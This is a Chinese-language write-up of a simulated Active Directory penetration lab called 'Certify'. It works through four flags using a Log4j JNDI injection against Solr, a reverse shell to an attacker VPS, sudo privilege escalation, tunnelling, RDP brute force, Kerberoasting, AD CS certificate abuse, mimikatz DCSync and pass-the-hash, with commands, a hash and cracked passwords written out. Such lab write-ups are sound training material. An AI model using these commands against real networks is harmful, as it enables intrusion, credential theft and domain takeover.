[[仿真靶場 - Certify]]#
靶場介紹#
Certify 是一套難度為中等的靶場環境,完成該挑戰可以幫助玩家了解內網滲透中的代理轉發、內網掃描、信息收集、特權提升以及橫向移動技術方法,加強對域環境核心認證機制的理解,以及掌握域環境滲透中一些有趣的技術要點。該靶場共有 4 個 flag,分布於不同的靶機。
- Solr
- AD CS
- SMB
- Kerberos
- 域滲透
解題步驟#
第一個 flag#
nmap 掃描
80 端口掃描目錄無果
nmap 全端口掃描
訪問http://39.99.234.17:8983/solr/#/,是 solr 界面,可能存在 log4j 漏洞
訪問http://39.99.234.17:8983/solr/admin/info/system?_=${jndi:ldap://1fed89d19d.ipv6.1433.eu.org}&wt=json
測試是否可以訪問 dnslog,如下,可訪問,可能存在 log4j 漏洞
反彈 shell
利用 JNDI 返回 shell,在 vps 上
同時在 vps 開啟監聽
nc -lvnp 1234
ldap://x.x.x.x:1389/Basic/ReverseShell/vps的ip地址/1234
發送請求成功返回 shell
solr 用戶未找到 flag,需要提權至 root 用戶
sudo -l,查看以 sudo 權限運行的文件,可以找到/usr/bin/grc
文件無需輸入 root 密碼即可以 root 身份運行
直接運行/usr/bin/grc
文件,輸出如下,注意 --pty 參數
在https://gtfobins.github.io/gtfobins/grc/ 網站可以找到 grc 提權的方法
sudo grc --pty /bin/sh
獲取第一個 flag
第二個 flag#
查看伺服器 ip,solr 伺服器的 ip 地址是:172.22.9.19
上傳 fscan 掃描
掃描後的信息整理如下:
172.22.9.7 XIAORANG\XIAORANG-DC #dc伺服器
172.22.9.26 #域內機器
172.22.9.47 #fileserver
172.22.9.19 #solr伺服器
注意:看了別人的 wp,發現這裡少了一台伺服器,後面的兩個 flag 就拿不到
將內網流量代理出來,用venom進行代理
1、vps 上監聽
./admin_linux_x64 -lport 9999
2、同時,vps 上開啟 web 服務
python3 -m http.server
3、solr 靶機下載 agent 端
wget http://vps的ip地址:8000/agent_linux_x64
4、靶機運行 venom 的 agent,連接服務端
./agent_linux_x64 -rhost vps的ip地址 -rport 9999
開啟 socks 代理
先看下文件伺服器,測試下是否存在文件共享
kali 下修改 /etc/proxychains4.conf 文件,設置代理伺服器
nmap 掃描
proxychains -q nmap -sT -A 172.22.9.47
proxychains smbclient \\\\172.22.9.47\\fileshare
get personnel.db
get secret\flag02.txt
獲取到第二個 flag
tips, you have enumerated smb. But do you know what an SPN is?(確實,你已經提到了 smb。但是,你是否了解 SPN 的含義呢?)
第三個 flag#
查看 personnel.db 文件,可以找到一些用戶名和密碼
導出用戶名和密碼,通過 hydra 爆破 rdp,爆破了兩個帳號,但無法登錄
proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV
報錯告訴我們賬戶可能有效,但似乎沒有啟用遠程桌面功能。
根據 flag02 中的提示(確實,你已經提到了 smb。但是,你是否了解 SPN 的含義呢?)
去獲取域用戶下的 spn
proxychains -q python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian
輸入 hydra 爆破的密碼
得到了 krb5tgs 的 Kerberos TGS-REP(Ticket-Granting Service Reply)票據的哈希
通過 hashcat 爆破
hashcat -m 13100 -a 0 hash.txt wordlist.txt
爆破出了 zhangxia 和 chenchen 的密碼
密碼如下:
MyPass2@@6
@Passw0rd@
rdp 連接
proxychains xfreerdp /u:"[email protected]" /v:172.22.9.26:3389
成功訪問了 172.22.9.26 的 rdp
無法訪問 administrator 目錄,flag 在這個目錄下
第四個 flag#
ADCS ESC1#
參考:
https://book.hacktricks.xyz/v/cn/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
https://book.hacktricks.xyz/v/cn/windows-hardening/active-directory-methodology/ad-certificates/account-persistence
下載 Certify 文件,上傳至 172.22.9.26 上
Certify 下載:https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
運行如下命令:
#查找易受攻擊的證書模板
Certify.exe find /vulnerable
查看設置了 msPKI-Certificate-Name-Flag: (0x1) ENROLLEE_SUPPLIES_SUBJECT 標誌的證書模版,利用這個漏洞冒充管理員
注:但是運行後報錯,經排查發現此環境還有一台伺服器沒起來,172.22.9.13,這台伺服器為 CA 伺服器,後面重試了好幾次都起不來。
正常來說這一步可以為域管理員申請證書,輸出一個證書文件。然後將證書格式轉換為.pfx 格式。
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
然後使用 Rubeus 或 certipy 進行身份驗證
Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt
獲得票據後導出 hash
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
運行上述命令後就可以獲得域內用戶和域管的 hash。
hash 傳遞#
有 hash 之後就可以進行 hash 傳遞,獲取域內用戶權限
proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
同樣的方式獲取 172.22.9.7(域管的權限)
proxychains crackmapexec smb 172.22.9.7 -u administrator -H00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type c:\Users\Administrator\flag\flag04.txt"